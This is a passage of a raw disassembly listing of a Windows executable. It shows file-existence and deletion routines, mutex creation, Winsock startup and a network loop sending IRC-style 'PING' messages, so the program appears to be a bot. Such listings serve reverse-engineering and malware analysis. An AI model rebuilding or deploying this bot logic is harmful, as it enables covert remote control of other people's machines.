bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DE30 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41DA10 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4167F1 proc near ; DATA XREF: .data:0042041Co var_12F4 = dword ptr -12F4h var_12F0 = dword ptr -12F0h var_12EC = byte ptr -12ECh var_115C = byte ptr -115Ch var_1128 = dword ptr -1128h var_1121 = byte ptr -1121h var_1120 = byte ptr -1120h var_101C = dword ptr -101Ch var_1018 = byte ptr -1018h var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp+var_18], esp push 2 call dword_4170F4 ; SetErrorMode and [ebp+var_4], 0 push dword_41DA54 push dword_41DA50 push 3B6h push dword_41DA4C push 0 push dword_41DA48 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp+var_115C] push eax call sub_416B5E ; sprintf add esp, 20h and [ebp+var_1128], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: sub_4167F1:loc_4168BAj mov eax, [ebp+var_1128] inc eax mov [ebp+var_1128], eax loc_416875: ; CODE XREF: sub_4167F1+75j cmp [ebp+var_1128], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: sub_4167F1+8Bj push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_115C] push eax push 0 push 0 call dword_4170F8 ; CreateMutexA mov [ebp+var_12F0], eax cmp [ebp+var_12F0], 0 jz short loc_4168BA call dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: sub_4167F1+BBj ; sub_4167F1+C5j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: sub_4167F1+C7j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DA48 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41EC30, eax call sub_410422 mov dword_41EC34, eax call sub_410422 mov dword_41EC38, eax call sub_410422 mov dword_41EC3C, eax push 104h lea eax, [ebp+var_1120] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DE30 push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: sub_4167F1+158j lea eax, [ebp+var_1120] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_12F4], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: sub_4167F1:loc_4169DFj mov eax, [ebp+var_12F4] dec eax mov [ebp+var_12F4], eax loc_416983: ; CODE XREF: sub_4167F1+183j cmp [ebp+var_12F4], 0 jnz short loc_41699F push offset byte_41DE30 push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: sub_4167F1+199j mov eax, [ebp+var_12F4] movsx eax, [ebp+eax+var_1121] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp+var_12F4] lea eax, [ebp+eax+var_1120] push eax push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EB2C push offset dword_41EC40 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: sub_4167F1+1BFj jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: sub_4167F1+16Bj ; sub_4167F1+1ACj ... call sub_406E8E lea eax, [ebp+var_12EC] push eax push 202h call dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: sub_4167F1+252j ; sub_4167F1+2B6j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and [ebp+var_101C], 0 loc_416A19: ; CODE XREF: .data:00416AE2j mov [ebp+var_4], 1 loc_416A20: ; CODE XREF: sub_4167F1:loc_416A6Fj ; sub_4167F1+2CFj push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp [ebp+var_101C], 19h jnz short loc_416A45 and [ebp+var_4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: sub_4167F1+24Cj cmp [ebp+var_101C], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: sub_4167F1+25Bj mov eax, [ebp+var_101C] inc eax mov [ebp+var_101C], eax loc_416A6F: ; CODE XREF: sub_4167F1+26Fj jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: sub_4167F1+243j push 1000h lea eax, [ebp+var_1018] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: sub_4167F1+2A7j and [ebp+var_4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: sub_4167F1+2B0j and [ebp+var_101C], 0 lea eax, [ebp+var_1018] push eax call sub_40E943 pop ecx jmp loc_416A20 sub_4167F1 endp ; --------------------------------------------------------------------------- loc_416AC5: ; DATA XREF: .data:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_416ADB: ; DATA XREF: .data:004172ACo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp dword_41DE38, 0 jz short loc_416B1E push offset dword_41DD54 push offset dword_41DAB4 call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: .data:00416B0Bj call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; .data:00416B26p jmp dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: .data:00416FE2j jmp dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DDD0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: .data:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: .data:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: .data:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call dword_4170B0 ; LocalFree loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: .data:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: 